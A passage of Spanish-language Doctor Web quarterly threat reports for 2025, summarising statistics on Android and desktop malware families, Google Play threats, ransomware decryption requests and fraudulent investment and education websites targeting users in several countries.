Otros sitios fraudulentos fueron presentados por los malintencionados como servicios legítimos de bancos rusos y ofrecían registrarse con la promesa de “ganar a partir de 50.000 rublos a la semana”:

Los residentes de algunos otros países también volvieron a encontrarse con fraudes similares. En uno de los sitios, los estafadores ofrecían a usuarios de Kirguistán formar parte de un “programa popular” e invertir en la que, según ellos, era la empresa más grande del país:

Otro sitio web supuestamente estaba vinculado a uno de los bancos de Georgia y ofrecía unirse a su supuesta “plataforma de inversión”:

Un sitio web falso similar fue presentado por los estafadores como perteneciente a uno de los bancos de Kazajistán, y prometía a los usuarios ingresos de hasta 60.000 tenge al mes:

En uno de los recursos en línea, los estafadores, supuestamente en nombre de una empresa turca de petróleo y gas, ofrecían a las posibles víctimas participar en una plataforma de inversión y ganar “hasta 9000 liras turcas al día”:

Al mismo tiempo, los estafadores continuaron explotando la temática de varias ayudas y compensaciones públicas. En uno de los sitios no deseados, dirigido a usuarios de Kazajistán, los visitantes supuestamente podían comprobar si tenían derecho a una compensación económica y recibir hasta 5.000.000 de tenge:

Conozca más sobre los sitios web no recomendados por Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el III trimestre del año 2025, con mayor frecuencia los usuarios afrontaron los troyanos de publicidad Android.MobiDash. Así mismo, los troyanos líderes anteriores Android.HiddenAds bajaron al segundo lugar, y su actividad se redujo bastante. Las terceras más comunes fueron las aplicaciones maliciosas falsas clasificadas como Android.FakeApp.

Comparado con el II trimestre, el número de detecciones de troyanos bancarios Android.BankBot aumentó, y el de troyanos Android.Banker y Android.SpyMax — se disminuyó.

En agosto los expertos de la empresa Doctor Web informaron sobre un backdoor multifuncional Android.Backdoor.916.origin usado por los malintencionados para robar los datos privados y supervisar a los representantes de los negocios rusos.

Durante los 3 últimos meses en el catálogo de Google Play se detectaron más de 70 malware y software no deseado. Entre los mismos, se destacan los troyanos Android.Joker que suscriben a los usuarios a servicios de pago, el software falso Android.FakeApp y el software Program.FakeMoney.16 que supuestamente permite convertir los premios virtuales en dinero real.

Los eventos más destacados vinculados a la seguridad «móvil» en el III trimestre:

Crecimiento de la actividad de troyanos adware Android.MobiDash
Reducción de la actividad de los troyanos adware Android.HiddenAds
Crecimiento de la actividad de troyanos bancarios Android.BankBot
Reducción del número de ataques de troyanos bancarios Android.Banker y Android.SpyMax
Uso del backdoor multifuncional Android.Backdoor.916.origin por los malintencionados para supervisar a los representantes de los negocios rusos
Propagación de múltiples amenazas en el catálogo Google Play

Para más información sobre los eventos de virus para dispositivos móviles en el III trimestre del año 2025, consulte nuestro informe.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el III trimestre de 2025

Wed, 01 Oct 2025 01:00:00 GMT

1 de octubre de 2025

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el III trimestre del año 2025 los más populares fueron los troyanos Android.MobiDash que visualizan publicidad importuna. Comparado con el periodo anterior, los mismos se detectaron en los dispositivos protegidos un 18,19 % más.

Los troyanos adware Android.HiddenAds bajaron al segundo puesto, su actividad sigue reduciendo por segundo trimestre consecutivo. Durante los últimos tres meses los usuarios afrontaron los mismos un 71,85% menos. Este malware oculta sus iconos para que sea más complicado detectar y eliminarlos, y visualizan publicidad, así mismo, los vídeos de pantalla completa.

En el tercer lugar otra vez se detectó malware falso Android.FakeApp usado por los malintencionados en varios esquemas fraudulentos. Su número de detecciones bajó un 7,49%. Estos troyanos en vez de la funcionalidad declarada cargan varios sitios web con frecuencia — por ejemplo, los de estafa y maliciosos, así como los sitios web de casinos online y las casas de apuestas.

Los troyanos bancarios más populares fueron los representantes de la familia Android.Banker, a pesar de su reducción de actividad, de un 38,88%. Los malintencionados los usan para acceder de forma ilegal a las cuentas bancarias y robar dinero. Estos troyanos pueden visualizar las ventanas phishing para robar los nombres de usuario y contraseñas, imitar el diseño de software real “banca-cliente”, interceptar los SMS para recibir los códigos de un solo uso, etc.

Los siguieron los troyanos Android.BankBot, detectados un 18,91% más frecuentemente. También intentan acceder a las cuentas de la banca en línea de usuarios, al interceptar los códigos de confirmación. Así mismo, estos troyanos bancarios pueden ejecutar varios comandos de los ciberdelincuentes, y algunos de ellos permiten administrar a distancia los dispositivos infectados.

Cierran el podio los representantes de la familia Android.SpyMax, basados en el código fuente del troyano espía SpyNote. Su detección fue un 17,25 % menor en comparación con el segundo trimestre. Este tipo de malware cuenta con un amplio conjunto de funciones dañinas, incluyendo la posibilidad de controlar los dispositivos de forma remota.

En agosto informamos sobre la campaña de propagación del backdoor multifuncional Android.Backdoor.916.origin usado por los ciberdelincuentes para robar los datos privados y supervisar a los usuarios de dispositivos en Android. Los ciberdelincuentes enviaban mensajes a posibles víctimas a través de diversas aplicaciones de mensajería, invitándolas a instalar un supuesto “antivirus” mediante un archivo APK adjunto. El laboratorio antivirus Doctor Web detectó las primeras versiones de este software malicioso ya en enero de 2025 y desde entonces continúa siguiendo su evolución. Según estimaciones de nuestros expertos, este backdoor se utiliza en ataques dirigidos y no está destinado a una propagación masiva. El principal objetivo de los cibercriminales son los representantes del empresariado ruso.

Durante el III trimestre en el catálogo Google Play se difundió múltiple malware y software no deseado instalado más de 1 459 000 veces en total. Entre los mismos — decenas de troyanos Android.Joker que suscriben a las víctimas a servicios de pago, así como software falso Android.FakeApp. Además, nuestros analistas de virus detectaron otro programa que supuestamente permitía convertir los premios virtuales en dinero real.

TENDENCIAS CLAVE DEL III TRIMESTRE

Los troyanos de publicidad Android.MobiDash fueron las amenazas más populares
Continuó la reducción de la actividad de los troyanos adware Android.HiddenAds
Creció el número de ataques de troyanos bancarios de la familia Android.BankBot
Bajó la actividad de troyanos bancarios Android.Banker y Android.SpyMax
Los ciberdelincuentes usaron un backdoor multifuncional Android.Backdoor.916.origin para atacar a los representantes de los negocios rusos
Múltiple malware se difundió en el catálogo Google Play

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.MobiDash.7859: Un troyano que visualiza publicidad importuna. Es un módulo que los desarrolladores de software incrustan en aplicaciones.
Android.FakeApp.1600: Un programa troyano que carga el sitio web indicado en su configuración. Las modificaciones conocidas de este malware cargan el sitio web del casino en línea.
Android.Click.1812: Detección de mods maliciosos del Messenger WhatsApp que pueden cargar varios sitios web en modo de segundo plano sin autorización del usuario.
Android.HiddenAds.673.origin: Un programa troyano para visualizar publicidad importuna. Los representantes de la familia Android.HiddenAds frecuentemente se difunden camuflados por aplicaciones legales y en algunos casos se instalan en el catálogo del sistema por otro malware. Al penetrar en dispositivos en Android, estos troyanos adware suelen ocultar al usuario su propia presencia en el sistema — por ejemplo, «ocultan» el icono de la aplicación del menú de la pantalla principal.
Android.Triada.5847: Detección del comprimidor para los troyanos de la familia Android.Triada destinada para proteger los mismos contra el análisis y la detección. Con mayor frecuencia, los malintencionados lo usan junto con los mods maliciosos del messenger Telegram donde estos troyanos están incrustados directamente.

Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar alguna tarea o acción. Estos programas simulan la acumulación de recompensas, pero para retirar el dinero “ganado” se exige alcanzar una cantidad determinada. Normalmente incluyen una lista de sistemas de pago y bancos populares a través de los cuales supuestamente es posible transferir las recompensas. Sin embargo, incluso cuando los usuarios logran acumular la suma necesaria para el retiro, los pagos prometidos nunca llegan. Con esta misma detección también se identifica otro software no deseado basado en el código de estos programas.
Program.CloudInject.5
Program.CloudInject.1: Detección de aplicaciones en Android modificadas con el servicio en la nube CloudInject y la utilidad en Android que tiene el mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estos programas se modifican en un servidor remoto, así mismo, el usuario interesado en su modificación (el modder) no controla qué exactamente se incrustará en los mismos. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Una vez modificados los programas, el modder puede administrarlos a distancia — bloquearlos, visualizar los diálogos personalizados, supervisar el hecho de instalación y desinstalación de otro software, etc.
Program.FakeAntiVirus.1: Detección de adware que imita el funcionamiento de software antivirus. Estos programas pueden informar sobre las amenazas no existentes y engañar a usuarios al requerir la compra de la versión completa.
Program.TrackView.1.origin: Una aplicación que permite supervisar a los usuarios a través de los dispositivos en Android. Con este programa los malintencionados pueden detectar la ubicación de dispositivos objetivo, usar la cámara para grabar vídeos y crear fotos, realizar la escucha con micro, crear las grabaciones de audio, etc.

Tool.NPMod.3
Tool.NPMod.1
Tool.NPMod.4: Detección de aplicaciones en Android modificadas con la utilidad NP Manager. Estos programas tienen incrustado un módulo especial que permite esquivar la comprobación de la firma digital una vez modificados los mismos.
Tool.LuckyPatcher.2.origin: Una utilidad que permite modificar aplicaciones Android instaladas (crearles parches) con el fin de alterar su lógica de funcionamiento o esquivar determinadas restricciones. Por ejemplo, con ella los usuarios pueden intentar desactivar la comprobación de acceso root en aplicaciones bancarias o conseguir recursos ilimitados en juegos. Para crear los parches, la utilidad descarga de Internet los scripts preparados a propósito, que cualquier persona puede crear y añadir a la base común. La funcionalidad de esos scripts también puede ser maliciosa, por lo que los parches generados pueden suponer un peligro potencial.
Tool.Androlua.1.origin: Detección de varias versiones potencialmente peligrosas de un framework especializado para el desarrollo de aplicaciones Android en lenguaje de script Lua. La lógica principal de las aplicaciones Lua reside en los correspondientes scripts, que están cifrados y son descifrados por el interpretador antes de su ejecución. Con frecuencia, este framework de forma predeterminada solicita acceso a numerosos permisos del sistema necesarios para su funcionamiento. Como resultado, los scripts Lua ejecutados con el mismo pueden realizar varias acciones maliciosas conforme a los permisos concedidos.

Adware.AdPush.3.origin
Adware.Adpush.21846: Módulos de publicidad que pueden integrarse en aplicaciones Android. Estos muestran notificaciones publicitarias que engañan a los usuarios. Por ejemplo, dichas notificaciones pueden parecer mensajes del propio sistema operativo. Además, estos módulos recopilan ciertos datos confidenciales y también pueden descargar otras aplicaciones e iniciar su instalación.
Adware.ModAd.1: Detección de algunas versiones modificadas (mods) del messenger WhatsApp, en las que se ha insertado código para cargar enlaces concretos mediante el componente de visualización web (WebView) durante el uso de la aplicación. Desde esas direcciones web se redirige a sitios publicitarios —por ejemplo, casinos en línea, casas de apuestas y sitios para adultos.
Adware.Youmi.4: Detección del módulo de publicidad no deseado que publica los accesos directos de publicidad en la pantalla principal de dispositivos en Android.
Adware.Basement.1: Las aplicaciones que visualizan publicidad no deseada que frecuentemente lleva a los sitios web maliciosos y de estafa. Tiene base de códigos común con programas no deseados Program.FakeMoney.11.

Amenazas en Google Play

En el III trimestre del año 2025, el laboratorio antivirus Doctor Web detectó en el catálogo Google Play más de 50 troyanos de la familia Android.Joker que suscriben a los usuarios a servicios de pago. Los mismos se propagaron camuflados por software de varios tipos, incluidos los messengers, varias utilidades de sistema, editores de imágenes, software para sacar fotos, trabajar con documentos, etc.

Un troyano se ocultaba en el programa para optimizar el funcionamiento del sistema Clean Boost (Android.Joker.2412), otro — en la aplicación Convert Text to PDF (Android.Joker.2422) para convertir del texto en los documentos PDF

Además, nuestros expertos detectaron más aplicaciones falsas Android.FakeApp, usadas en esquemas fraudulentos. Al igual que antes, los ciberdelincuentes presentaban algunas de las mismas como aplicaciones financieras, manuales, guías de formación, software para acceder a los servicios de inversión. Estas falsificaciones cargaban los sitios web de estafa. Otros programas troyanos Android.FakeApp se difundían camuflados por juegos y en determinadas condiciones en vez de la funcionalidad prometida cargaban los sitios de casas de apuestas y casinos en línea.

Ejemplos de troyanos Android.FakeApp, camuflados por aplicaciones de temática financiera. Android.FakeApp.1889 ofreció a los usuarios comprobar su alfabetización financiera, y Android.FakeApp.1890 — a desarrollar el pensamiento financiero

Así mismo, nuestros expertos detectaron un programa no deseado Program.FakeMoney.16, difundido como aplicación Zeus Jackpot Mania. Los usuarios de este software recibían premios virtuales que supuestamente podían convertirse después en dinero real para usar fuera de la aplicación.

Program.FakeMoney.16 en el catálogo Google Play

Para «poder recibir» el dinero el programa solicitaba algunos datos, pero al final las víctimas no recibían ningunos pagos.

Program.FakeMoney.16 pide indicar el nombre completo del usuario y la información sobre la cuenta bancaria

Para proteger los dispositivos en Android contra malware y software no deseado, se recomienda a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus para dispositivos móviles en el II trimestre de 2025

Tue, 01 Jul 2025 06:00:00 GMT

1 de julio de 2025

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el segundo trimestre de 2025, el tipo de malware más popular volvió a ser el de los troyanos publicitarios, pertenecientes a varias familias.

La mayor actividad se registró por parte del grupo Android.HiddenAds, a pesar de que los usuarios afrontaron al mismo un 8,62 % menos que en el trimestre anterior. En segundo lugar se situaron los troyanos publicitarios Android.MobiDash, cuya participación en los ataques aumentó un 11,17 %. Cierra el podio la familia de malware Android.FakeApp, utilizada en diversas estafas, que fue detectada en dispositivos protegidos un 25,17 % menos que anteriormente.

Se observó un aumento de la actividad de los troyanos bancarios Android.Banker, con un aumento del 73,15 % en comparación con el trimestre anterior. Al mismo tiempo, algunos otros grupos de malware se detectaron con menor frecuencia. Por ejemplo, las detecciones de Android.BankBot descendieron un 37,19 %, y las de Android.SpyMax — en un 19,14 %.

En abril, nuestros analistas de virus informaron sobre una campaña a gran escala dirigida al robo de criptomonedas de propietarios de smartphones Android. En el marco de esta operación, los atacantes implementaron el troyano Android.Clipper.31 en el firmware de varios dispositivos económicos, ocultándolo en una versión modificada de la aplicación WhatsApp. Este malware intercepta los mensajes enviados y recibidos a través del messenger, busca direcciones de monederos de criptomonedas Tron y Ethereum y las sustituye por otras que pertenecen a los estafadores. Al mismo tiempo, el troyano oculta la suplantación, por lo que los usuarios de los dispositivos infectados siguen viendo en los mensajes las direcciones "correctas". Además, Android.Clipper.31 envía a un servidor remoto todas las imágenes en formatos jpg, png y jpeg con el objetivo de buscar frases mnemotécnicas vinculadas a los monederos de criptomonedas de las víctimas.

Ese mismo mes informamos sobre un troyano espía dirigido a militares rusos. El malware Android.Spy.1292.origin se ocultaba en una de las versiones modificadas del software de cartografía Alpine Quest. Se distribuía tanto a través de un canal falso en Telegram, supuestamente oficial de la aplicación, controlado por los atacantes, como a través de uno de los catálogos rusos de aplicaciones Android.

Android.Spy.1292.origin transfería a los atacantes varios datos confidenciales. Entre los mismos, las cuentas del usuario, su número de teléfono móvil, los contactos de la agenda, información sobre la geolocalización del dispositivo, así como datos sobre los archivos almacenados en él. Por orden de los delincuentes, el troyano podía robar archivos específicos. En particular, los creadores del virus estaban interesados en documentos confidenciales enviados a través de los messengers populares, así como en el archivo de registro de ubicaciones del programa Alpine Quest.

Al mismo tiempo, durante el periodo de observación, el laboratorio de virus de la empresa Doctor Web detectó nuevas amenazas en el catálogo de Google Play. Entre ellas, se detectaron varios troyanos, así como software publicitario no deseado.

Tendencias clave del II trimestre

Bajó la actividad de los troyanos de publicidad Android.HiddenAds
Aumentó la actividad de los troyanos de publicidad Android.MobiDash
Los troyanos bancarios Android.Banker se detectaron en dispositivos protegidos con mayor frecuencia que en el trimestre anterior
Bajó el número de ataques de familias de troyanos bancarios Android.BankBot y Android.SpyMax
En el firmware de algunos smartphones en Android económicos se detectó un troyano para robar criptomoneda
Los ciberdelincuentes propagaron un troyano que espiaba a militares rusos
Se detectaron nuevas amenazas en el catálogo de Google Play

Según los datos de Dr.Web Security Space para dispositivos móviles

Android.HiddenAds.657.origin
Android.HiddenAds.4214
Android.HiddenAds.4213: Troyanos diseñados para mostrar publicidad intrusiva. Los representantes de la familia Android.HiddenAds suelen propagarse camuflados por aplicaciones inofensivas y, en algunos casos, se instalan en el directorio del sistema por otro malware. Una vez en los dispositivos Android, estos troyanos publicitarios normalmente ocultan su presencia al usuario — por ejemplo, al eliminar el icono de la aplicación del menú de la pantalla de inicio.
Android.MobiDash.7859: Un programa troyano que muestra publicidad molesta. Se trata de un módulo de software que los desarrolladores integran en las aplicaciones.
Android.FakeApp.1600: Un programa troyano que carga un sitio web especificado en su configuración. Se conocen variantes de este malware que cargan páginas de casinos en línea.

Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar acciones o tareas. Estos programas simulan la acumulación de recompensas, y para poder retirar el dinero “ganado” se exige alcanzar una determinada cantidad. Suelen incluir una lista de sistemas de pago y bancos populares a través de los cuales, en teoría, se podrían transferir las recompensas. Sin embargo, incluso cuando los usuarios consiguen reunir la cantidad requerida para el retiro, los pagos prometidos nunca se realizan. Esta detección también abarca otro software no deseado basado en el código de estas aplicaciones.
Program.CloudInject.1: Detección de aplicaciones Android modificadas mediante el servicio en la nube CloudInject y la herramienta Android del mismo nombre (añadida a la base de virus de Dr.Web como Tool.CloudInject). Estas aplicaciones se modifican en un servidor remoto, lo que significa que el usuario interesado en modificarlas (el modder) no controla qué exactamente se implementa en las mismas. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Tras la modificación, el modder puede gestionarlas de forma remota: bloquearlas, mostrar cuadros de diálogo personalizados, rastrear la instalación y eliminación de otros programas, entre otras funciones etc.
Program.FakeAntiVirus.1: Detección de programas publicitarios que imitan el funcionamiento de un software antivirus. Estos programas pueden informar sobre amenazas inexistentes y engañar a los usuarios, al demandarles el pago de una versión completa.
Program.TrackView.1.origin: Detección de una aplicación que permite espiar a los usuarios a través de dispositivos Android. Con esta herramienta, los delincuentes pueden localizar los dispositivos objetivo, utilizar la cámara para grabar vídeos y tomar fotografías, activar la escucha a través del micrófono, realizar grabaciones de audio, entre otras funciones.
Program.SecretVideoRecorder.1.origin: Detección de varias versiones de una aplicación diseñada para realizar fotos y vídeos en segundo plano mediante las cámaras integradas de dispositivos Android. Esta aplicación puede funcionar de forma discreta, al permitir desactivar las notificaciones de grabación, así como modificar el icono y la descripción de la app por otros falsos. Esta funcionalidad la convierte en una herramienta potencialmente peligrosa.

Tool.NPMod.3
Tool.NPMod.1: Detección de aplicaciones Android modificadas con la utilidad NP Manager. En estos programas se ha integrado un módulo especial que permite esquivar la verificación de la firma digital tras su modificación.
Tool.Androlua.1.origin: Detección de varias versiones potencialmente peligrosas de un framework especializado para el desarrollo de aplicaciones Android en el lenguaje de programación por scripts Lua. La lógica principal de las aplicaciones Lua está en los scripts correspondientes, que están cifrados y se descifran por el interpretador antes de su ejecución. A menudo, este framework de forma predeterminada solicita acceso a numerosos permisos del sistema para su funcionamiento. Como resultado, los scripts Lua ejecutados a través de él pueden realizar varias acciones maliciosas en función de los permisos concedidos.
Tool.SilentInstaller.14.origin: Una plataforma de software potencialmente peligrosa que permite a las aplicaciones ejecutar archivos APK sin necesidad de instalarlos. Esta plataforma crea un entorno de ejecución virtual dentro del contexto de las aplicaciones en las que está integrada. Los archivos APK ejecutados a través de ella pueden funcionar como si formaran parte de dichas aplicaciones y obtener automáticamente los mismos permisos.
Tool.Packer.1.origin: Utilidad especializada de compresión para proteger aplicaciones Android contra modificaciones e ingeniería inversa. No es maliciosa en sí misma, pero puede utilizarse tanto para proteger aplicaciones legales como programas troyanos.

Adware.ModAd.1: Detección de algunas versiones modificadas (mods) del messenger WhatsApp, en cuyas funciones se ha implementado un código para cargar enlaces específicos a través de una visualización web durante el uso de la aplicación. Desde estas direcciones de Internet se realiza la redirección a sitios promocionados, tales como casinos en línea, casas de apuestas o páginas para adultos.
Adware.AdPush.3.origin: Módulos de publicidad que pueden integrarse en aplicaciones Android. Muestran notificaciones publicitarias que inducen a error a los usuarios; por ejemplo, pueden parecer mensajes del sistema operativo. Además, estos módulos recopilan varios datos confidenciales y pueden descargar otras aplicaciones e iniciar su instalación.
Adware.Basement.1: Aplicaciones que visualizan publicidad no deseada, la cual a menudo lleva a sitios maliciosos y fraudulentos. Comparten una base de código común con programas no deseados Program.FakeMoney.11.
Adware.Fictus.1.origin: Módulo publicitario que los ciberdelincuentes integran en versiones clonadas de juegos y aplicaciones populares para Android. La integración se realiza mediante una herramienta de compresión especializada llamada net2share. Las copias de estas aplicaciones se distribuyen a través de varios catálogos y, una vez instaladas, muestran publicidad no deseada.
Adware.Jiubang.1: Adware no deseado para dispositivos Android que, al instalar aplicaciones, muestra un banner con programas recomendados para su instalación.

Amenazas en Google Play

Durante el segundo trimestre de 2025, los analistas de virus de Doctor Web detectaron en el catálogo de Google Play varias decenas de amenazas, entre ellas diversas aplicaciones falsas clasificadas como Android.FakeApp. Estos troyanos volvieron a propagarse activamente haciéndose pasar por aplicaciones de temática financiera y, en vez de ofrecer la funcionalidad prometida, podían cargar sitios web fraudulentos.

Android.FakeApp.1863 y Android.FakeApp.1859 — son unos ejemplos de troyanos detectados: el primero se ocultaba en la aplicación TPAO y estaba dirigido a usuarios turcos, a quienes se les ofrecía «gestionar fácilmente sus depósitos e ingresos». El segundo, presentado por los ciberdelincuentes como un «asistente financiero» llamado Quantum MindPro, estaba orientado al público francófono.

Otro de los disfraces más comunes para este tipo de aplicaciones falsas sigue siendo los juegos. Bajo ciertas condiciones, en vez de ofrecer funciones de juego, cargan sitios de casinos en línea y casas de apuestas.

Android.FakeApp.1840 (Pino Bounce) — una de los juegos falsos que pudo cargar un sitio web del casino en línea

Al mismo tiempo, nuestros expertos detectaron un nuevo software publicitario no deseado: Adware.Adpush.21912. Se ocultaba en una aplicación con contenido informativo sobre criptomonedas llamada Coin News Promax. Adware.Adpush.21912 muestra notificaciones que, al ser pulsadas, cargan en WebView un enlace establecido por el servidor de control.

Para proteger los dispositivos en Android contra malware y software no deseado, recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Doctor Web: informe de la actividad de virus en el II trimestre del año 2025

Tue, 01 Jul 2025 02:00:00 GMT

1 de julio de 2025

Según las estadísticas de detecciones del antivirus Dr.Web, en el II trimestre del año 2025 el número total de amenazas detectadas bajó un 7,38% comparado con el I trimestre. El número de amenazas únicas así mismo también bajó, un 23,10%. Con mayor frecuencia en los dispositivos protegidos se detectaba adware no deseado, backdoors, troyanos de publicidad y scripts maliciosos. En el tráfico de correo las amenazas más frecuentes fueron los troyanos descargadores, varios tipos de scripts maliciosos y troyanos droppers.

En abril, los analistas de virus de la empresa «Doctor Web» informaron sobre un troyano detectado en el firmware de varios modelos de smartphones con Android. Con su ayuda, los ciberdelincuentes robaban criptomonedas. Además, nuestros expertos detectaron un troyano para Android que los atacantes habían integrado en una de las versiones de un popular programa de mapas y que usaban para espiar a militares rusos.

Durante el segundo trimestre, nuestros analistas de internet descubrieron numerosos sitios web fraudulentos nuevos. Entre ellos se encontraban páginas de plataformas educativas inexistentes, que supuestamente permitían a las potenciales víctimas realizar formación online y mejorar su cualificación, así como nuevos sitios de temática de inversión que prometían ganancias rápidas y fáciles.

Las estadísticas de detecciones en dispositivos móviles confirmaron una disminución de la actividad de los troyanos publicitarios Android.HiddenAds; sin embargo, esta familia de malware sigue siendo la amenaza más frecuente para Android. Al mismo tiempo, en el segundo trimestre, nuestro laboratorio de virus detectó numerosas nuevas amenazas en el catálogo de Google Play.

Tendencias clave del II trimestre

Reducción del número de amenazas detectadas en dispositivos protegidos
Reducción del número de amenazas únicas que funcionan para ataques
Aparición de múltiples sitios web que supuestamente tienen que ver con el ámbito de formación y finanzas
Detección de un ataque de un troyano espía a militares rusos que utilizaban un popular software de cartografía para dispositivos Android
Detección de un troyano en el firmware de varios modelos de smartphones Android, diseñado para el robo de criptomonedas
Los troyanos de publicidad Android.HiddenAds siguen siendo unas de las amenazas más populares para Android
En el catálogo Google Play se detectó más malware y software no deseado

Según los datos del servicio de estadísticas Doctor Web

Las amenazas más populares del II trimestre del año 2025:

VBS.KeySender.6: Un script malicioso que en un ciclo infinito busca ventanas con texto mode extensions, разработчика y розробника y les envía un evento de pulsar el botón Escape, al cerrarlas de manera forzosa.
Adware.Downware.20091: Adware que sirve de instalador intermediario de programas pirata.
Trojan.BPlug.4242
Trojan.BPlug.3814: Detección del componente malicioso de la extensión de navegador WinSafe. Este componente es un script de тот JavaScript que visualiza publicidad importuna en navegadores.
Trojan.Siggen30.53926: Proceso host de un framework Electron modificado por atacantes, que imita ser un componente de la aplicación Steam (Steam Client WebHelper) y carga un backdoor en JavaScript.

Estadísticas de malware en el tráfico de correo

JS.Siggen5.44590: Código malicioso añadido a la biblioteca pública de JavaScript es5-ext-main. Visualiza un mensaje específico si el paquete está instalado en un servidor con el huso horario de ciudades rusas.
JS.Inject: Una familia de scripts maliciosos creados en lenguaje JavaScript. Incrustan un script malicioso en el código HTML de las páginas web.
Win32.HLLW.Rendoc.3: Un gusano de red que se propaga así mismo a través de las unidades de información extraíbles.
W97M.DownLoader.2938: Una familia de troyanos descargadores que usan las vulnerabilidades de los documentos Microsoft Office. Sirven para descargar otro malware al equipo atacado.
PDF.Phisher.867: Documentos PDF usados en envíos email de phishing.

Cifradores

En el II trimestre del año 2025 el número de solicitudes para descifrar los archivos afectados por el malware cifrador troyano bajó un 14,65% comparado con el I trimestre.

Dinámica de recepción de solicitudes para descifrar por el servicio de soporte técnico de Doctor Web:

Los encoders más populares del II trimestre del año 2025:

Trojan.Encoder.35534 — 24.41% de solicitudes de usuarios
Trojan.Encoder.35209 — 4.41% de solicitudes de usuarios
Trojan.Encoder.29750 — 2.71% de solicitudes de usuarios
Trojan.Encoder.35067 — 2.71% de solicitudes de usuarios
Trojan.Encoder.41868 — 2.71% de solicitudes de usuarios

Fraudulencias en la red

Durante el segundo trimestre de 2025, los analistas de Internet de la empresa «Doctor Web» identificaron numerosos sitios web fraudulentos supuestamente vinculados al sector educativo. Se difundieron recursos en línea que ofrecían formación en distintas profesiones. Por ejemplo, las plataformas dirigidas a usuarios de Kazajistán, SMM Akademiya y LearnIT KZ, supuestamente permitían «dominar la profesión de manager SMM en 3 meses» y «convertirse en analista de datos».

En otros sitios web, las víctimas potenciales supuestamente podían acceder a varios cursos. Entre ellos se encontraban cursos de inglés y de adquisición de habilidades en gestión de capital, ofrecidos por las supuestas «plataformas» EnglishPro y FinCourse, respectivamente:

Y un sitio web fraudulento de un supuesto servicio llamado «Educación Financiera» supuestamente ofrecía ayudar a mejorar la alfabetización financiera: en el mismo, se invitaba a los visitantes a «dominar sus finanzas y garantizar su futuro»:

Para obtener «acceso» a los servicios promocionados, estos sitios exigen registrarse al proporcionar los datos personales, como el nombre, el número de teléfono móvil, la dirección de correo electrónico, etc. Los ciberdelincuentes averiguan esta información y pueden utilizarla posteriormente para varios esquemas de estafa.

Al mismo tiempo, surgieron nuevos sitios fraudulentos de proyectos pseudo-inversionistas, que los ciberdelincuentes suelen presentar como supuestamente vinculados a empresas y servicios conocidos. Por ejemplo, en uno de ellos se ofrecía a los usuarios participar en un proyecto innovador basado en tecnologías de inteligencia artificial. Este recurso se hacía pasar por un servicio del fabricante de automóviles Audi y supuestamente permitía operar con criptomonedas de forma automática y obtener ingresos elevados garantizados. Para obtener «acceso» al servicio, era necesario realizar un depósito inicial de 250 €.

Otro «proyecto de inversión» supuestamente estaba relacionado con la red social TikTok. A los visitantes del sitio web fraudulento se les pedía completar una breve encuesta y, posteriormente, proporcionar datos personales para registrarse y acceder al servicio prometido:

Además, se identificaron nuevos sitios web fraudulentos camuflados por recursos oficiales del servicio de mensajería WhatsApp. En uno de ellos se ofrecía a los visitantes obtener monedas digitales, cada una de las cuales supuestamente «generaba 15 € al día» para su propietario. Al usuario se le prometían 160 de estas monedas, pero para comenzar a «ganar dinero con ellas», debía registrar una cuenta proporcionando sus datos personales. En realidad, la víctima no recibía ningún activo digital, y los estafadores averiguaban su información personal.

Otro sitio falso de WhatsApp supuestamente ofrecía acceso a un nuevo bot de trading basado en ciertos desarrollos únicos. A los usuarios se les recomendaba «activar el WhatsApp Bot y ganar dinero automáticamente». Para ello, como era habitual, se les solicitaba registrarse proporcionando datos personales, que posteriormente eran entregados a los ciberdelincuentes.

Los estafadores también dirigieron sus ataques a usuarios de determinados países. Por ejemplo, los residentes en Rusia podían encontrarse con sitios que ofrecían «hacer realidad sus sueños» junto con algún supuesto servicio de inversión. Los delincuentes utilizaban una misma plantilla para diseñar estos recursos, al cambiar únicamente su diseño y los nombres de las plataformas inexistentes.

Cabe destacar que sitios web basados en la misma plantilla también se creaban para residentes de otros países — por ejemplo, de Uzbekistán:

Uno de los sitios fraudulentos detectados estaba dirigido a usuarios de habla rusa residentes en Europa. En él, los ciberdelincuentes prometían a las potenciales víctimas un ingreso pasivo de hasta 1.000 € a la semana «con la ayuda de soluciones financieras innovadoras de nueva generación» de una supuesta plataforma llamada LevelUPTrade:

Los usuarios de Francia podían convertirse en víctimas de estafadores que ofrecían acceso a un software de trading automatizado inexistente llamado TraderAI. Con su ayuda, las víctimas potenciales supuestamente tenían la posibilidad de ganar a partir de 3.500 €:

Para los residentes de México, los estafadores también prepararon un «sistema de trading inteligente» — QuantumIA. Se trata de una variante de la conocida pseudoplataforma de trading Quantum System o QuantumAI, que supuestamente permite operar automáticamente en los mercados financieros utilizando computación cuántica y tecnologías de inteligencia artificial.

En otro sitio web, los estafadores, supuestamente en nombre de un banco importante, ofrecían servicios de inversión a usuarios mexicanos — prometían la oportunidad de ganar 16.000 pesos mexicanos en un corto periodo de tiempo tras registrarse. Para ello, era necesario proporcionar datos personales.

Los usuarios alemanes corrían el riesgo de convertirse en víctimas de la falsa plataforma de trading Lucrosa Infinity, cuya imagen ha sido explotada por ciberdelincuentes de diversas formas durante varios años. En uno de los sitios fraudulentos, los estafadores ofrecían «empezar a invertir y abrir la puerta a la independencia financiera»:

A los residentes de Canadá, los ciberdelincuentes también les ofrecían utilizar «servicios únicos» que supuestamente garantizaban altos ingresos mediante inversiones y comercio de criptomonedas. Por ejemplo, los sitios fraudulentos detectados promocionaban plataformas como BitcoinFusionPro y BitcoinReaction. Estas supuestamente ofrecían a los clientes la posibilidad de ganar desde 1.000 dólares canadienses al día, invirtiendo «tan solo» 350 dólares.:

